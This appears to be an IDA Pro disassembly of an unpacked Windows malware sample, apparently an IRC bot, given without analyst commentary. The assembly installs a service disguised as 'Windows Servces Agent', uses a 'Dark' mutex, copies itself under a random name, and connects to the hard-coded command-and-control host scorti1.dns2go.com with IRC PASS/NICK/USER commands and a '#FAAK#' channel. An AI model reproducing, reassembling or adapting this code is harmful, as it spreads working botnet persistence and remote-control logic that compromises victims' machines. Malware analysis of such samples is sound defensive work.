;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	73CC615A061853C42ACBA6A405CF6A7E

; File Name   :	u:\work\73cc615a061853c42acba6a405cf6a7e_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DD000 ( 905216.)
; Section size in file		: 000DD000 ( 905216.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
___		segment	para public 'DATA' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_418359+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindowsServces ; "Windows Servces Agent"


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CAF28
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CAF98
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CAED8


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CAF50
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427238[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:00416643p

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41B4D5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41B202
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41B11A
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41B0B1
		push	edi
		call	sub_41B05B
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43DEBC
		call	dword_4CB00C
		call	sub_40B2BF
		call	dword_4CAECC
		call	dword_4CAECC
		mov	ebx, dword_427078
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset dword_43D128
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		nop
		call	near ptr 2660A28h
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	near ptr 2660000h
		nop
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	near ptr 2650B82h
		nop
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427068
		call	esi
		push	[ebp+var_C]
		call	esi


loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43D120
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	near ptr 77E75CB5h
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418684
		pop	ecx
		mov	dword_4CACB0, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270A8
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CACB4, eax
		call	esi
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_409B12
		push	2
		call	dword_4CB020
		push	7530h
		push	offset aDark	; "Dark"
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		push	eax
		call	near ptr 2670F10h
		nop
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		nop
		call	near ptr 77E75CB5h


loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4CAEE4
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		nop
		call	near ptr 2660A28h
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 2670DBEh
		push	eax
		call	near ptr 2660000h
		nop
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41B9D1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_4293C4
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41B900
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_429108
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C


loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_429108[edi], dl
		inc	edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379


loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_4293BC
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 2670CEEh
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		call	near ptr 2670BA6h
		nop


loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427090
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		call	near ptr 2670859h
		nop
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C


loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 2660F23h
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------


loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_418293
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		nop
		call	near ptr 2670BA6h
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset dword_43D128
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		call	near ptr 2670833h
		nop
		push	eax
		push	esi
		push	100000h
		nop
		call	near ptr 2670287h
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_4293B0
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 2650B82h
		nop
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		nop
		call	near ptr 2660F23h
		push	dword ptr [ebp-20h]
		mov	esi, dword_427068
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4CAECC
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4DB294, 2
		jle	short loc_401562
		mov	eax, dword_4DB298
		push	dword ptr [eax+4]
		call	sub_41B779
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 2670F10h
		push	esi
		nop
		call	near ptr 26508ACh
		mov	eax, dword_4DB298
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		nop
		call	near ptr 2660F23h
		mov	eax, dword_4DB298
		push	dword ptr [eax+8]
		nop
		call	near ptr 26701D0h


loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CB044, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx


loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_429394
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B0F6
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	0B80h
		push	ebx
		push	offset dword_43D130
		call	sub_41B590
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_429370
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_42707C
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset dword_419A00
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[esi], eax
		jnz	short loc_401622
		call	near ptr 2670859h
		nop
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429330
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	2
		call	sub_40B33E
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_429304
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FC
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[esi], eax
		jnz	short loc_40169A
		nop
		call	near ptr 2670859h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_4292D0
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41B8E2
		push	7Fh
		and	eax, 3
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CACBC
		mov	dword_4CAE28, eax
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CAD3C
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CAE0C, eax
		call	sub_41B5F0
		push	3Fh
		mov	esi, offset dword_4CAD7C
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword_4CAE10, ebx


loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx


loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4CACB8
		mov	dword_4CAE24, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4CAE24, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]


loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		nop
		call	near ptr 2660F23h
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CACBC
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CAE0C, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290E4, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E4
		push	offset dword_4CACBC
		call	sub_41B5F0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CAE0C, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B2BF


loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4CAECC


loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+662Ao

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CAF74
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40AAF9
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40B08D
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43DEC8
		push	edi
		push	eax
		call	sub_41B5F0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CAFF4
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43DEBC[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CB00C
		call	sub_40AB22
		push	7D0h


loc_4018CD:				; CODE XREF: sub_4017ED+146j
		call	near ptr 2660F23h
		nop
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_4293CC
		call	sub_415220
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CB00C
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------


loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------


loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	2
		pop	eax


loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CAE20, bl
		jz	short loc_40199A
		push	offset byte_4CAE20
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409A2C
		add	esp, 0Ch


loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CB00C
		push	1388h
		nop
		call	near ptr 2660F23h


loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax


loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF8C
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_417F7F
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]


loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi


loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		nop
		call	near ptr 2660F23h
		jmp	short loc_401A58
; ---------------------------------------------------------------------------


loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------


loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------


loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2


loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_5D88	= byte ptr -5D88h
var_5988	= byte ptr -5988h
var_5588	= byte ptr -5588h
var_53F8	= byte ptr -53F8h
var_51F8	= byte ptr -51F8h
var_50F4	= byte ptr -50F4h
var_4FF4	= byte ptr -4FF4h
var_4EF0	= byte ptr -4EF0h
var_4DF0	= byte ptr -4DF0h
var_4CF0	= byte ptr -4CF0h
var_4BF0	= byte ptr -4BF0h
var_4AF0	= byte ptr -4AF0h
var_48F0	= byte ptr -48F0h
var_47EC	= byte ptr -47ECh
var_46EC	= byte ptr -46ECh
var_45EC	= byte ptr -45ECh
var_4588	= byte ptr -4588h
var_4488	= byte ptr -4488h
var_4288	= byte ptr -4288h
var_4188	= byte ptr -4188h
var_4088	= byte ptr -4088h
var_3F88	= dword	ptr -3F88h
var_3F84	= byte ptr -3F84h
var_3F04	= byte ptr -3F04h
var_3E00	= byte ptr -3E00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= dword	ptr -3CE8h
var_3CE4	= byte ptr -3CE4h
var_3C64	= byte ptr -3C64h
var_3BE4	= byte ptr -3BE4h
var_3B64	= byte ptr -3B64h
var_3AE4	= byte ptr -3AE4h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= dword	ptr -3A58h
var_3A54	= byte ptr -3A54h
var_37CD	= byte ptr -37CDh
var_37CC	= byte ptr -37CCh
var_36C8	= dword	ptr -36C8h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B4	= dword	ptr -36B4h
var_36AC	= dword	ptr -36ACh
var_36A8	= dword	ptr -36A8h
var_36A4	= byte ptr -36A4h
var_3624	= byte ptr -3624h
var_35A4	= byte ptr -35A4h
var_3524	= byte ptr -3524h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= dword	ptr -3494h
var_3490	= byte ptr -3490h
var_3410	= byte ptr -3410h
var_3390	= byte ptr -3390h
var_3310	= byte ptr -3310h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= dword	ptr -3280h
var_327C	= byte ptr -327Ch
var_31FC	= byte ptr -31FCh
var_317C	= byte ptr -317Ch
var_30FC	= byte ptr -30FCh
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= dword	ptr -306Ch
var_3068	= byte ptr -3068h
var_2FE8	= byte ptr -2FE8h
var_2F68	= byte ptr -2F68h
var_2EE8	= byte ptr -2EE8h
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= dword	ptr -2E5Ch
var_2E58	= byte ptr -2E58h
var_2D54	= dword	ptr -2D54h
var_2D50	= byte ptr -2D50h
var_2C4C	= byte ptr -2C4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= dword	ptr -2B40h
var_2B3C	= byte ptr -2B3Ch
var_2ABC	= dword	ptr -2ABCh
